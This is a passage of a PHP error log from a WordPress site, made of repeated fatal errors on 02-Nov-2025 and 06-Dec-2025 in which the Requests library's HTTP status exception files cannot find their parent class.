[02-Nov-2025 08:23:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[02-Nov-2025 08:23:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[02-Nov-2025 08:23:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[02-Nov-2025 08:23:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[02-Nov-2025 08:23:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[02-Nov-2025 08:23:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[02-Nov-2025 08:23:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[02-Nov-2025 08:23:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[02-Nov-2025 08:23:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[02-Nov-2025 08:23:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[02-Nov-2025 08:23:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[02-Nov-2025 08:23:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[02-Nov-2025 08:23:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[02-Nov-2025 08:23:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[02-Nov-2025 08:33:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[02-Nov-2025 08:33:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[02-Nov-2025 08:33:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[02-Nov-2025 08:33:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[02-Nov-2025 08:33:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[02-Nov-2025 08:33:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[02-Nov-2025 08:33:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[02-Nov-2025 08:33:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[02-Nov-2025 08:33:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[02-Nov-2025 08:33:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[02-Nov-2025 08:33:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[02-Nov-2025 08:33:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[02-Nov-2025 08:33:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[02-Nov-2025 08:33:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[02-Nov-2025 08:33:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[02-Nov-2025 08:33:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[02-Nov-2025 08:33:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[02-Nov-2025 08:33:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[02-Nov-2025 08:33:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[02-Nov-2025 08:33:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[02-Nov-2025 08:33:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[02-Nov-2025 08:33:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[02-Nov-2025 08:33:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[02-Nov-2025 08:33:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[02-Nov-2025 08:33:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[02-Nov-2025 08:33:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[02-Nov-2025 08:33:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[02-Nov-2025 08:33:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[02-Nov-2025 08:33:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[02-Nov-2025 08:33:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[02-Nov-2025 08:33:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[02-Nov-2025 08:33:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[02-Nov-2025 08:33:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[06-Dec-2025 18:37:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[06-Dec-2025 18:37:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[06-Dec-2025 18:37:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[06-Dec-2025 18:37:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[06-Dec-2025 18:37:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[06-Dec-2025 18:37:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[06-Dec-2025 18:37:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[06-Dec-2025 18:37:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[06-Dec-2025 18:37:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[06-Dec-2025 18:37:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[06-Dec-2025 18:37:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[06-Dec-2025 18:37:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[06-Dec-2025 18:37:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[06-Dec-2025 18:37:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[06-Dec-2025 18:37:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[06-Dec-2025 18:37:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[06-Dec-2025 18:37:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[06-Dec-2025 18:37:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[06-Dec-2025 18:37:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[06-Dec-2025 18:37:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[06-Dec-2025 18:37:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[06-Dec-2025 18:37:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[06-Dec-2025 18:37:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[06-Dec-2025 18:37:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[06-Dec-2025 18:37:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[06-Dec-2025 18:37:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[06-Dec-2025 18:37:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[06-Dec-2025 18:37:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[06-Dec-2025 18:37:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[06-Dec-2025 18:38:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[06-Dec-2025 18:38:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[06-Dec-2025 18:38:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[06-Dec-2025 18:38:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[06-Dec-2025 18:51:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[06-Dec-2025 18:51:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[06-Dec-2025 18:51:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[06-Dec-2025 18:51:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[06-Dec-2025 18:51:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[06-Dec-2025 18:51:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[06-Dec-2025 18:51:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[06-Dec-2025 18:51:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[06-Dec-2025 18:51:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[06-Dec-2025 18:51:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[06-Dec-2025 18:51:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
